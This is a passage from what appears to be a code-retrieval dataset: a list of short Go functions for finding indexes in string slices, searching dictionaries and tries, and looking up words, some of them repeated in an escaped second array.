hm.hasher.Get().(hash.Hash64)\n\thasher.Reset()\n\thasher.Write([]byte(key))\n\tindex := hasher.Sum64() % hm.size\n\thm.hasher.Put(hasher)\n\treturn index\n}","func Index(substr, operand string) int { return strings.Index(operand, substr) }","func IndexOf(element string, data []string) int {\n\tfor k, v := range data {\n\t\tif strings.ToLower(element) == strings.ToLower(v) {\n\t\t\treturn k\n\t\t}\n\t}\n\treturn -1\n}","func (st *SymbolTable) Index(name string) int {\n\tindex, exist := st.symbols[name]\n\tif !exist {\n\t\treturn -1\n\t}\n\n\treturn index\n}","func (d Dictionary) Search(word string) (string, error) {\n\tkey, exists := d[word]\n\tif exists {\n\t\treturn key, nil\n\t}\n\treturn \"\", errNotFound\n}","func findFirstVowelIndex(word string) int {\n\tfor i, c := range word {\n\t\tif isLetterVowel(c) {\n\t\t\treturn i\n\t\t}\n\t}\n\n\treturn -1\n}","func index(slice []string, item string) int {\n\tfor i := range slice {\n\t\tif slice[i] == item {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}","func (r Dictionary) Search(word string) (string, error) {\n\tif word == \"\" {\n\t\treturn \"\", ErrKeyWordEmpty\n\t}\n\tdefinition, ok := r[word]\n\tif !ok {\n\t\treturn \"\", ErrWordNotFound\n\t}\n\treturn definition, nil\n}","func (d Dictionary) Search(word string) (string, error) {\r\n\tvalue, exists := d[word] //word라는 키에 해당하는 값을 반환\r\n\tif exists {\r\n\t\treturn value, nil // 단어 있음 == 에러가 없다는 말임\r\n\t}\r\n\treturn \"\", errNotFound\r\n}","func IndexStr(haystack []string, needle string) int {\n\tfor idx, s := range haystack {\n\t\tif s == needle {\n\t\t\treturn idx\n\t\t}\n\t}\n\treturn -1\n}","func (s *EnumSchema) IndexOf(symbol string) int32 {\n\tif s.symbolsToIndex == nil {\n\t\tf, _ := s.Fingerprint()\n\t\tsymbolsToIndexCacheLock.Lock()\n\t\tif s.symbolsToIndex = symbolsToIndexCache[*f]; s.symbolsToIndex == nil {\n\t\t\ts.symbolsToIndex = make(map[string]int32)\n\t\t\tfor i, symbol := range s.Symbols {\n\t\t\t\ts.symbolsToIndex[symbol] = int32(i)\n\t\t\t}\n\t\t\tsymbolsToIndexCache[*f] = s.symbolsToIndex\n\t\t}\n\t\tsymbolsToIndexCacheLock.Unlock()\n\t}\n\tif index, ok := s.symbolsToIndex[symbol]; ok {\n\t\treturn index\n\t} else {\n\t\treturn -1\n\t}\n}","func SearchVocab(char rune) int {\n\ti, ok := vocab_hash[char]\n\tif !ok {\n\t\treturn -1\n\t}\n\treturn i\n}","func (s *Set) Index(v string) (int, bool) {\n\tslot, found := s.findSlot(v)\n\tif !found {\n\t\treturn 0, false\n\t}\n\n\tindexPlusOne := s.table[slot]\n\treturn int(indexPlusOne - 1), true\n}","func IndexString(vs []string, t string) int {\n for i, v := range vs {\n if v == t {\n return i\n }\n }\n return -1\n}","func (this *WordDictionary) Search(word string) bool {\n\t//byte 等同于int8,常用来处理ascii字符\n\t//rune 等同于int32,常用来处理unicode或utf-8字符\n\tc2:=[]rune(word) //\n\treturn this.match(this.root,c2,0)\n}","func (this *WordDictionary) Search(word string) bool {\n \n}","func IndexString(a, b string) int","func (h *Harmonic) getIndex(key string) (idx int, found bool) {\n\t// Fast track for keys which occur AFTER our tail\n\tif h.end == -1 || key > h.s[h.end].key {\n\t\tidx = h.end + 1\n\t\treturn\n\t}\n\n\tif key < h.s[0].key {\n\t\tidx = -1\n\t\treturn\n\t}\n\n\treturn h.seek(key, 0, h.end)\n}","func lookupNameIndex(ss []string, s string) int {\n\tq := -1\n\t// apples to apples\n\ts = strings.ToLower(s)\n\tfor i := range ss {\n\t\t// go through all the names looking for a prefix match\n\t\tif s == ss[i] {\n\t\t\t// exact matches always result in an index\n\t\t\treturn i\n\t\t} else if strings.HasPrefix(ss[i], s) {\n\t\t\t// unambiguous prefix matches result in an index\n\t\t\tif q >= 0 {\n\t\t\t\treturn -1\n\t\t\t}\n\t\t\tq = i\n\t\t}\n\t}\n\treturn q\n}","func IndexOf(ss []string, e string) int {\n\tfor i, s := range ss {\n\t\tif s == e {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}","func ContainsIndex(arr []string, s string) int {\n\tfor idx, el := range arr {\n\t\tif el == s {\n\t\t\treturn idx\n\t\t}\n\t}\n\treturn -1\n}","func getWord(id int64) string {\n\treturn diceware8k[id&8191]\n}","func WordIndexes(s []byte, word []byte) (idxs []int) {\n\ttmp := Indexes(s, word)\n\tif len(tmp) == 0 {\n\t\treturn nil\n\t}\n\n\tfor _, idx := range tmp {\n\t\tx := idx - 1\n\t\tif x >= 0 {\n\t\t\tif !unicode.IsSpace(rune(s[x])) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\tx = idx + len(word)\n\t\tif x >= len(s) {\n\t\t\tidxs = append(idxs, idx)\n\t\t\tcontinue\n\t\t}\n\t\tif !unicode.IsSpace(rune(s[x])) {\n\t\t\tcontinue\n\t\t}\n\t\tidxs = append(idxs, idx)\n\t}\n\n\treturn idxs\n}","func (t *Tokeniser) checkWord(word string) (int, bool) {\n\tcurrInput := t.Input[t.pos:]\n\tif !strings.HasPrefix(currInput, word) {\n\t\treturn 0, false\n\t}\n\treturn len(word), true\n}","func Lookup(name string) string {\n\treturn index[name]\n}","func Index(ss []string, s string) int {\n\tfor i, b := range ss {\n\t\tif b == s {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}","func (o *KeyValueOrdered) Index(name Key) (int, bool) {\n\tval, ok := o.m[name]\n\treturn val, ok\n}","func (this *Trie) Search(word string) bool {\n\treturn this.dict[word]\n}","func (dict *Dictionary) Find(word []byte) (float64, string, bool) {\n\tvar (\n\t\tid, value int\n\t\tfreq float64\n\t\terr error\n\t)\n\n\tid, err = dict.trie.Jump(word, id)\n\tif err != nil {\n\t\treturn 0, \"\", false\n\t}\n\n\tvalue, err = dict.trie.Value(id)\n\tif err != nil && id != 0 {\n\t\treturn 0, \"\", true\n\t}\n\n\tif err != nil {\n\t\treturn 0, \"\", false\n\t}\n\n\tfreq = dict.Tokens[value].freq\n\tpos := dict.Tokens[value].pos\n\treturn freq, pos, true\n}","func Index(a []string, s string) int {\n\tif len(a) == 0 {\n\t\treturn -1\n\t}\n\tfor i, v := range a {\n\t\tif v == s {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}","func (t *StringSlice) Index(s string) int {\n\tret := -1\n\tfor i, item := range t.items {\n\t\tif s == item {\n\t\t\tret = i\n\t\t\tbreak\n\t\t}\n\t}\n\treturn ret\n}","func GetEvenWord(ind int) string {\n\tif ind < 0 || ind >= len(WordList) {\n\t\tpanic(\"index if out of bounds for word list\")\n\t}\n\n\treturn WordList[ind][0]\n}","func getIndItem (items [] string, finder string) int {\n\tfor i := 0; i < len(items); i++ {\n\t\tif items[i] == finder {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}","func (h *Header) index(key string) (int, bool) {\n\tfor i := 0; i < len(h.slice); i += 2 {\n\t\tif h.slice[i] == key {\n\t\t\treturn i, true\n\t\t}\n\t}\n\treturn -1, false\n}","func (k *Kmp) Index(s string) int {\n\tlen1, len2 := len(s), len(k.pattern)\n\ti, j := 0, 0\n\tfor i < len1 && j < len2 {\n\t\tif j == -1 || s[i] == k.pattern[j] {\n\t\t\ti++\n\t\t\tj++\n\t\t} else {\n\t\t\tj = k.next[j]\n\t\t}\n\t}\n\tif j == len2 {\n\t\treturn i - j\n\t} else {\n\t\treturn -1\n\t}\n}","func StrAt(slice []string, val string) int {\n\tfor i, v := range slice {\n\t\tif v == val {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}","func (w *Lookup) Word() string {\n\treturn w.word\n}","func IndexOfString(array []string, val string) int {\n\tfor index, arrayVal := range array {\n\t\tif arrayVal == val {\n\t\t\treturn index\n\t\t}\n\t}\n\treturn -1\n}","func (v Set) IndexOf(b []byte) (int, bool) {\n\t// trivially handle the case of an empty set\n\tif len(v) == 0 {\n\t\treturn 0, false\n\t}\n\n\t// turn the []byte into a big.Int\n\tiPk := new(big.Int).SetBytes(b)\n\treturn v.indexOf(iPk)\n}","func (p *SliceOfMap) Index(elem interface{}) (loc int) {\n\tloc = -1\n\tif p == nil || len(*p) == 0 {\n\t\treturn\n\t}\n\n\tpanic(\"NOT IMPLEMENTED\")\n\t// x := ToStringMap(elem)\n\t// for i := range *p {\n\t// \tif (*p)[i] == x {\n\t// \t\treturn i\n\t// \t}\n\t// }\n\t// return\n}","func getStrIndex(strings []string, s string) int {\n\tfor i, col := range strings {\n\t\tif col == s {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}","func (hs Headers) Index(title string) (int, error) {\n\tif i, ok := hs[title]; ok {\n\t\treturn i, nil\n\t}\n\treturn 0, fmt.Errorf(\"Unknown column header: %s (%#v)\",\n\t\ttitle, hs)\n}","func (d *Dictionary) GetValueIndex(i int) int {\n\tindiceData := d.data.buffers[1].Bytes()\n\t// we know the value is non-negative per the spec, so\n\t// we can use the unsigned value regardless.\n\tswitch d.indices.DataType().ID() {\n\tcase arrow.UINT8, arrow.INT8:\n\t\treturn int(uint8(indiceData[d.data.offset+i]))\n\tcase arrow.UINT16, arrow.INT16:\n\t\treturn int(arrow.Uint16Traits.CastFromBytes(indiceData)[d.data.offset+i])\n\tcase arrow.UINT32, arrow.INT32:\n\t\tidx := arrow.Uint32Traits.CastFromBytes(indiceData)[d.data.offset+i]\n\t\tdebug.Assert(bits.UintSize == 64 || idx <= math.MaxInt32, \"arrow/dictionary: truncation of index value\")\n\t\treturn int(idx)\n\tcase arrow.UINT64, arrow.INT64:\n\t\tidx := arrow.Uint64Traits.CastFromBytes(indiceData)[d.data.offset+i]\n\t\tdebug.Assert((bits.UintSize == 32 && idx <= math.MaxInt32) || (bits.UintSize == 64 && idx <= math.MaxInt64), \"arrow/dictionary: truncation of index value\")\n\t\treturn int(idx)\n\t}\n\tdebug.Assert(false, \"unreachable dictionary index\")\n\treturn -1\n}","func WordAt(bytes []byte, pos int) Boundary {\n\treturn Boundary{WordBegin(bytes, pos), WordEnd(bytes, pos)}\n}","func IndexOf(str1, str2 string, off int) int {\n\tindex := strings.Index(str1[off:], str2)\n\tif index == -1 {\n\t\treturn -1\n\t}\n\treturn index + off\n}","func searchWord(root *TrieNode, word string) map[int]bool {\n ret := make(map[int]bool)\n for i := len(word)-1; i>=0; i-- {\n if root.idx != -1 && isPalindrome(word[:i+1]) {\n ret[root.idx] = true\n }\n offset := word[i]-'a'\n if root.nodes[offset] == nil {\n return ret\n }\n root = root.nodes[offset]\n }\n for k, _ := range root.match {\n ret[k] = true\n }\n return ret\n}","func (enum Enum) Index(findValue string) int {\n\tfor idx, item := range enum.items {\n\t\tif findValue == item.value {\n\t\t\treturn idx\n\t\t}\n\t}\n\treturn -1\n}","func getIndexPosition(str, substr string) int {\n\treturn strings.Index(str, substr)\n}","func (game *Game) CheckWord(word string) bool {\n\treturn game.Dictionary.Words[word]\n}","func findIndex(name string, arr *[]string) int {\n\tfor i, val := range *arr {\n\t\tif val == name {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}","func (arr StringArray) IndexOf(v string) int {\n\tfor i, s := range arr {\n\t\tif v == s {\n\t\t\treturn i\n\t\t}\n\t}\n\n\treturn -1\n}","func term[V any](dict map[string]V, w string) (V, bool) {\n\tv, ok := dict[w]\n\treturn v, ok\n}","func (x *Index) Lookup(s []byte, n int) (result []int) {}","func (g *Goi18n) IndexLang(lang string) int {\n\tif g.IsExist(lang) {\n\t\treturn g.localeMap[lang].id\n\t}\n\treturn -1\n}","func Index(s, t string) int {\n\tx := 0\n\ty := 0\n\tfor _, c := range s {\n\t\tif c == c {\n\t\t\tx++\n\t\t}\n\t}\n\tfor _, c := range t {\n\t\tif c == c {\n\t\t\ty++\n\t\t}\n\t}\n\tfor i := 0; i < x; i++ {\n\t\tif y != 0 && s[i] == t[0] {\n\t\t\tok := true\n\t\t\tmok := 0\n\t\t\tfor j := 0; j < y; j++ {\n\t\t\t\tif i+mok >= x || t[j] != s[i+mok] {\n\t\t\t\t\tok = false\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tmok++\n\t\t\t}\n\t\t\tif ok == true {\n\t\t\t\treturn i\n\t\t\t}\n\t\t}\n\t}\n\treturn -1\n}","func (tp *Trie) AddWord(word string) int {\n\treturn tp.Add([]rune(word))\n}","func (x *Index) Lookup(s []byte, n int) (result []int)","func IndexOf(slice []string, needle string) int {\n\tfor idx, s := range slice {\n\t\tif s == needle {\n\t\t\treturn idx\n\t\t}\n\t}\n\n\treturn -1\n}","func IndexWithTable(d *[256]int, s string, substr string) int {\n\tlsub := len(substr)\n\tls := len(s)\n\t// fmt.Println(ls, lsub)\n\tswitch {\n\tcase lsub == 0:\n\t\treturn 0\n\tcase lsub > ls:\n\t\treturn -1\n\tcase lsub == ls:\n\t\tif s == substr {\n\t\t\treturn 0\n\t\t}\n\t\treturn -1\n\t}\n\n\ti := 0\n\tfor i+lsub-1 < ls {\n\t\tj := lsub - 1\n\t\tfor ; j >= 0 && s[i+j] == substr[j]; j-- {\n\t\t}\n\t\tif j < 0 {\n\t\t\treturn i\n\t\t}\n\n\t\tslid := j - d[s[i+j]]\n\t\tif slid < 1 {\n\t\t\tslid = 1\n\t\t}\n\t\ti += slid\n\t}\n\treturn -1\n}","func (dim *Dimensions) indexOf(p Point) int {\n\tx := p.X - dim.BottomLeft.X\n\ty := p.Y - dim.BottomLeft.Y\n\treturn int((x) + (y)*dim.height)\n}","func NameToIndex(name string, names []string) int {\n\tvar index = -1\n\tfor i := 0; i < len(names); i++ {\n\t\tif name == names[i] {\n\t\t\tindex = i\n\t\t}\n\t}\n\treturn index\n}","func (this *WordDictionary) AddWord(word string) {\n \n}","func getIndex(st, et int32, a []int32) (int, int) {\n\treturn getStartIndex(st, a), getEndIndex(et, a)\n}","func (slice StringSlice) IndexOf(str string) int {\n\tfor p, v := range slice {\n\t\tif v == str {\n\t\t\treturn p\n\t\t}\n\t}\n\treturn -1\n}","func (this *Tuple) Index(item interface{}, start int) int {\n\tfor i := start; i < this.Len(); i++ {\n\t\tif TupleElemEq(this.Get(i), item) {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}","func Index(tokens []Token, kind Kind, text string) Position {\n\tfor i, token := range tokens {\n\t\tif token.Kind == kind && token.Text() == text {\n\t\t\treturn i\n\t\t}\n\t}\n\n\treturn -1\n}","func (service *SynonymService) EditWord(word vm.Word, replacement vm.Word) (*[]vm.Word, int) {\n\n\t// Lock map for cocurent access , and unlock it after operation is complete\n\tservice.mu.Lock()\n\tdefer service.mu.Unlock()\n\n\t//Check if new word aready exists\n\tif _, ok := service.Synonyms[replacement.Word]; ok {\n\t\treturn nil, status.ErrorSynonymAllreadyEsists\n\t}\n\n\t// Check if word already exists\n\tif val, ok := service.Synonyms[word.Word]; ok {\n\n\t\tfor i, existingWord := range *val {\n\n\t\t\tif existingWord.Word == word.Word {\n\t\t\t\t(*val)[i].Word = replacement.Word\n\t\t\t}\n\t\t}\n\t\tservice.Synonyms[replacement.Word] = val\n\t\tdelete(service.Synonyms, word.Word)\n\n\t\treturn val, 0\n\n\t}\n\n\treturn nil, status.ErrorWordDoesNotExist\n}","func index(n string) int {\n\tfor i, v := range allNotes {\n\t\tif n == v {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}","func (r *Rope) Index(at int) rune {\n\ts := skiplist{r: r}\n\tvar k *knot\n\tvar offset int\n\tvar err error\n\n\tif k, offset, _, err = s.find(at); err != nil {\n\t\treturn -1\n\t}\n\tif offset == BucketSize {\n\t\tchar, _ := utf8.DecodeRune(k.nexts[0].data[0:])\n\t\treturn char\n\t}\n\tchar, _ := utf8.DecodeRune(k.data[offset:])\n\treturn char\n}","func (ws *WordSelect) Int(ctx context.Context) (_ int, err error) {\n\tvar v []int\n\tif v, err = ws.Ints(ctx); err != nil {\n\t\treturn\n\t}\n\tswitch len(v) {\n\tcase 1:\n\t\treturn v[0], nil\n\tcase 0:\n\t\terr = &NotFoundError{word.Label}\n\tdefault:\n\t\terr = fmt.Errorf(\"ent: WordSelect.Ints returned %d results when one was expected\", len(v))\n\t}\n\treturn\n}","func index(vs []int, t int) int {\n\tfor i, v := range vs {\n\t\tif v == t {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}","func IndexOfString(value string, list []string) int {\n\tfor i, match := range list {\n\t\tif match == value {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}","func (cm CMap) Index(keyValue interface{}) interface{} {\n\tentry := cm.FindBy(keyValue, Equals)\n\n\tif entry == nil {\n\t\treturn nil\n\t}\n\treturn entry.Value\n}","func checkWord(w string) (bool, error) {\n\t// format the word to be lower case\n\tw = strings.ToLower(w)\n\t// open the dictionary of popular English words\n\tf, err := os.Open(\"dictionary.txt\")\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tdefer f.Close()\n\n\t// Splits on newlines by default.\n\tscanner := bufio.NewScanner(f)\n\n\tline := 1\n\tfor scanner.Scan() {\n\t\tif scanner.Text() == w {\n\t\t\treturn true, nil\n\t\t}\n\t\tline++\n\t}\n\n\tif err := scanner.Err(); err != nil {\n\t\treturn false, err\n\t}\n\t// could not find any match, but no error is provided\n\treturn false, nil\n}","func searchMap(x map[int]string, y string) int {\n\n\tfor k, v := range x {\n\t\tif v == y {\n\t\t\treturn k\n\t\t}\n\t}\n\treturn -1\n}","func (b *profileBuilder) stringIndex(s string) int64 {\n\tid, ok := b.stringMap[s]\n\tif !ok {\n\t\tid = len(b.strings)\n\t\tb.strings = append(b.strings, s)\n\t\tb.stringMap[s] = id\n\t}\n\treturn int64(id)\n}","func (h Helper) ScriptIndexByName(name string) int {\n\tfor i, s := range h.ScriptNames {\n\t\tif s == name {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}","func indexOf(index string) (int, error) {\n\tif index[0] != '#' {\n\t\treturn 0, errors.New(\"no index\")\n\t}\n\treturn strconv.Atoi(index[1:])\n}","func GetStringIndex(slice []string, target string) int {\n\tfor i := range slice {\n\t\tif slice[i] == target {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}","func (wq *WordQuery) FirstIDX(ctx context.Context) int {\n\tid, err := wq.FirstID(ctx)\n\tif err != nil && !IsNotFound(err) {\n\t\tpanic(err)\n\t}\n\treturn id\n}","func (list List) Index(element interface{}) int {\n\tfor k, v := range list {\n\t\tif element == v {\n\t\t\treturn k\n\t\t}\n\t}\n\treturn -1\n}","func (this *WordDictionary) Search(word string) bool {\n\treturn this.match(this.root, word, 0)\n}","func IndexLookup(x *suffixarray.Index, s []byte, n int) []int","func stringBinarySearch(slice []string, elem string) int {\n\tidx := sort.SearchStrings(slice, elem)\n\n\tif idx != len(slice) && slice[idx] == elem {\n\t\treturn idx\n\t} else {\n\t\treturn -1\n\t}\n}"],"string":"[\n \"func (d *dictionary) getWord(index tokenID) string {\\n\\tif word, found := d.words[index]; found {\\n\\t\\treturn word\\n\\t}\\n\\treturn unknownWord\\n}\",\n \"func GetHashTableIndex(word string) int {\\n\\tprimoRangeRX := regexp.MustCompile(\\\"^[a-i]{1}\\\")\\n\\tsecondoRangeRX := regexp.MustCompile(\\\"^[j-r]{1}\\\")\\n\\tterzoRangeRX := regexp.MustCompile(\\\"^[s-z]{1}\\\")\\n\\n\\tswitch {\\n\\tcase primoRangeRX.MatchString(word):\\n\\t\\treturn 0\\n\\tcase secondoRangeRX.MatchString(word):\\n\\t\\treturn 1\\n\\tcase terzoRangeRX.MatchString(word):\\n\\t\\treturn 2\\n\\t}\\n\\treturn -1\\n}\",\n \"func indexOf(list []string, word string) int {\\n\\tfor i := range list {\\n\\t\\tif strings.EqualFold(word, list[i]) {\\n\\t\\t\\treturn i\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func WordAt(i int) string {\\n\\treturn words[i]\\n}\",\n \"func (d *dictionary) add(word string) tokenID {\\n\\tif idx := d.getIndex(word); idx != unknownIndex {\\n\\t\\treturn idx\\n\\t}\\n\\t// token IDs start from 1, 0 is reserved for the invalid ID\\n\\tidx := tokenID(len(d.words) + 1)\\n\\td.words[idx] = word\\n\\td.indices[word] = idx\\n\\treturn idx\\n}\",\n \"func GetWord(lang Language, index int64) (string, error) {\\n\\tswitch lang {\\n\\tcase English:\\n\\t\\treturn english[index], nil\\n\\tcase Japanese:\\n\\t\\treturn japanese[index], nil\\n\\tcase Korean:\\n\\t\\treturn korean[index], nil\\n\\tcase Spanish:\\n\\t\\treturn spanish[index], nil\\n\\tcase ChineseSimplified:\\n\\t\\treturn chineseSimplified[index], nil\\n\\tcase ChineseTraditional:\\n\\t\\treturn chineseTraditional[index], nil\\n\\tcase French:\\n\\t\\treturn french[index], nil\\n\\tcase Italian:\\n\\t\\treturn italian[index], nil\\n\\t}\\n\\treturn \\\"\\\", fmt.Errorf(\\\"Language %s not found\\\", lang)\\n}\",\n \"func IndexizeWord(w string) string {\\n\\treturn strings.TrimSpace(strings.ToLower(w))\\n}\",\n \"func (s *Stringish) Index(str string) int {\\n\\treturn strings.Index(s.str, str)\\n}\",\n \"func (g *Game) findWord(ws []*scottpb.Word, w string) int {\\n\\tw = (w + \\\" \\\")[0:g.Current.Header.WordLength]\\n\\tfor i := 0; i < len(ws); i++ {\\n\\t\\tif (ws[i].Word + \\\" \\\")[0:g.Current.Header.WordLength] != w {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tfor j := i; j >= 0; j-- {\\n\\t\\t\\tif !ws[j].Synonym {\\n\\t\\t\\t\\treturn j\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn UnknownWord\\n}\",\n \"func indexOf(array []string, key string) int {\\n\\tfor idx, val := range array {\\n\\t\\tif val == key {\\n\\t\\t\\treturn idx\\n\\t\\t}\\n\\t}\\n\\n\\treturn -1\\n}\",\n \"func (g *Game) indexOf(name string) (int, int) {\\n\\tt := strings.ToLower(name)\\n\\treturn int(rune(t[0]) - 'a'), int(rune(t[1]) - '1')\\n}\",\n \"func indexOfString(h []string, n string) int {\\n\\tfor i, v := range h {\\n\\t\\tif v == n {\\n\\t\\t\\treturn i\\n\\t\\t}\\n\\t}\\n\\n\\treturn -1\\n}\",\n \"func (d Dictionary) Search(word string) (string, error) {\\n\\tdefinition, ok := d[word]\\n\\n\\tif !ok {\\n\\t\\treturn \\\"\\\", ErrNotFound\\n\\t}\\n\\treturn definition, nil\\n}\",\n \"func (d Dictionary) Search(word string) (string, error) {\\n\\tvalue, exists := d[word]\\n\\tif exists {\\n\\t\\treturn value, nil\\n\\t}\\n\\n\\treturn \\\"\\\", errNotFound\\n}\",\n \"func (d Dictionary) Search(word string) (string, error) {\\n\\tvalue, ok := d[word]\\n\\n\\tif ok {\\n\\t\\treturn value, nil\\n\\t}\\n\\n\\treturn word, errNotFound\\n}\",\n \"func GetOddWord(ind int) string {\\n\\tif ind < 0 || ind >= len(WordList) {\\n\\t\\tpanic(\\\"index is out of bounds for word list\\\")\\n\\t}\\n\\n\\treturn WordList[ind][1]\\n}\",\n \"func (hm *HashMap) getIndex(key string) uint64 {\\n\\thasher := hm.hasher.Get().(hash.Hash64)\\n\\thasher.Reset()\\n\\thasher.Write([]byte(key))\\n\\tindex := hasher.Sum64() % hm.size\\n\\thm.hasher.Put(hasher)\\n\\treturn index\\n}\",\n \"func Index(substr, operand string) int { return strings.Index(operand, substr) }\",\n \"func IndexOf(element string, data []string) int {\\n\\tfor k, v := range data {\\n\\t\\tif strings.ToLower(element) == strings.ToLower(v) {\\n\\t\\t\\treturn k\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func (st *SymbolTable) Index(name string) int {\\n\\tindex, exist := st.symbols[name]\\n\\tif !exist {\\n\\t\\treturn -1\\n\\t}\\n\\n\\treturn index\\n}\",\n \"func (d Dictionary) Search(word string) (string, error) {\\n\\tkey, exists := d[word]\\n\\tif exists {\\n\\t\\treturn key, nil\\n\\t}\\n\\treturn \\\"\\\", errNotFound\\n}\",\n \"func findFirstVowelIndex(word string) int {\\n\\tfor i, c := range word {\\n\\t\\tif isLetterVowel(c) {\\n\\t\\t\\treturn i\\n\\t\\t}\\n\\t}\\n\\n\\treturn -1\\n}\",\n \"func index(slice []string, item string) int {\\n\\tfor i := range slice {\\n\\t\\tif slice[i] == item {\\n\\t\\t\\treturn i\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func (r Dictionary) Search(word string) (string, error) {\\n\\tif word == \\\"\\\" {\\n\\t\\treturn \\\"\\\", ErrKeyWordEmpty\\n\\t}\\n\\tdefinition, ok := r[word]\\n\\tif !ok {\\n\\t\\treturn \\\"\\\", ErrWordNotFound\\n\\t}\\n\\treturn definition, nil\\n}\",\n \"func (d Dictionary) Search(word string) (string, error) {\\r\\n\\tvalue, exists := d[word] //word라는 키에 해당하는 값을 반환\\r\\n\\tif exists {\\r\\n\\t\\treturn value, nil // 단어 있음 == 에러가 없다는 말임\\r\\n\\t}\\r\\n\\treturn \\\"\\\", errNotFound\\r\\n}\",\n \"func IndexStr(haystack []string, needle string) int {\\n\\tfor idx, s := range haystack {\\n\\t\\tif s == needle {\\n\\t\\t\\treturn idx\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func (s *EnumSchema) IndexOf(symbol string) int32 {\\n\\tif s.symbolsToIndex == nil {\\n\\t\\tf, _ := s.Fingerprint()\\n\\t\\tsymbolsToIndexCacheLock.Lock()\\n\\t\\tif s.symbolsToIndex = symbolsToIndexCache[*f]; s.symbolsToIndex == nil {\\n\\t\\t\\ts.symbolsToIndex = make(map[string]int32)\\n\\t\\t\\tfor i, symbol := range s.Symbols {\\n\\t\\t\\t\\ts.symbolsToIndex[symbol] = int32(i)\\n\\t\\t\\t}\\n\\t\\t\\tsymbolsToIndexCache[*f] = s.symbolsToIndex\\n\\t\\t}\\n\\t\\tsymbolsToIndexCacheLock.Unlock()\\n\\t}\\n\\tif index, ok := s.symbolsToIndex[symbol]; ok {\\n\\t\\treturn index\\n\\t} else {\\n\\t\\treturn -1\\n\\t}\\n}\",\n \"func SearchVocab(char rune) int {\\n\\ti, ok := vocab_hash[char]\\n\\tif !ok {\\n\\t\\treturn -1\\n\\t}\\n\\treturn i\\n}\",\n \"func (s *Set) Index(v string) (int, bool) {\\n\\tslot, found := s.findSlot(v)\\n\\tif !found {\\n\\t\\treturn 0, false\\n\\t}\\n\\n\\tindexPlusOne := s.table[slot]\\n\\treturn int(indexPlusOne - 1), true\\n}\",\n \"func IndexString(vs []string, t string) int {\\n for i, v := range vs {\\n if v == t {\\n return i\\n }\\n }\\n return -1\\n}\",\n \"func (this *WordDictionary) Search(word string) bool {\\n\\t//byte 等同于int8,常用来处理ascii字符\\n\\t//rune 等同于int32,常用来处理unicode或utf-8字符\\n\\tc2:=[]rune(word) //\\n\\treturn this.match(this.root,c2,0)\\n}\",\n \"func (this *WordDictionary) Search(word string) bool {\\n \\n}\",\n \"func IndexString(a, b string) int\",\n \"func (h *Harmonic) getIndex(key string) (idx int, found bool) {\\n\\t// Fast track for keys which occur AFTER our tail\\n\\tif h.end == -1 || key > h.s[h.end].key {\\n\\t\\tidx = h.end + 1\\n\\t\\treturn\\n\\t}\\n\\n\\tif key < h.s[0].key {\\n\\t\\tidx = -1\\n\\t\\treturn\\n\\t}\\n\\n\\treturn h.seek(key, 0, h.end)\\n}\",\n \"func lookupNameIndex(ss []string, s string) int {\\n\\tq := -1\\n\\t// apples to apples\\n\\ts = strings.ToLower(s)\\n\\tfor i := range ss {\\n\\t\\t// go through all the names looking for a prefix match\\n\\t\\tif s == ss[i] {\\n\\t\\t\\t// exact matches always result in an index\\n\\t\\t\\treturn i\\n\\t\\t} else if strings.HasPrefix(ss[i], s) {\\n\\t\\t\\t// unambiguous prefix matches result in an index\\n\\t\\t\\tif q >= 0 {\\n\\t\\t\\t\\treturn -1\\n\\t\\t\\t}\\n\\t\\t\\tq = i\\n\\t\\t}\\n\\t}\\n\\treturn q\\n}\",\n \"func IndexOf(ss []string, e string) int {\\n\\tfor i, s := range ss {\\n\\t\\tif s == e {\\n\\t\\t\\treturn i\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func ContainsIndex(arr []string, s string) int {\\n\\tfor idx, el := range arr {\\n\\t\\tif el == s {\\n\\t\\t\\treturn idx\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func getWord(id int64) string {\\n\\treturn diceware8k[id&8191]\\n}\",\n \"func WordIndexes(s []byte, word []byte) (idxs []int) {\\n\\ttmp := Indexes(s, word)\\n\\tif len(tmp) == 0 {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tfor _, idx := range tmp {\\n\\t\\tx := idx - 1\\n\\t\\tif x >= 0 {\\n\\t\\t\\tif !unicode.IsSpace(rune(s[x])) {\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tx = idx + len(word)\\n\\t\\tif x >= len(s) {\\n\\t\\t\\tidxs = append(idxs, idx)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tif !unicode.IsSpace(rune(s[x])) {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tidxs = append(idxs, idx)\\n\\t}\\n\\n\\treturn idxs\\n}\",\n \"func (t *Tokeniser) checkWord(word string) (int, bool) {\\n\\tcurrInput := t.Input[t.pos:]\\n\\tif !strings.HasPrefix(currInput, word) {\\n\\t\\treturn 0, false\\n\\t}\\n\\treturn len(word), true\\n}\",\n \"func Lookup(name string) string 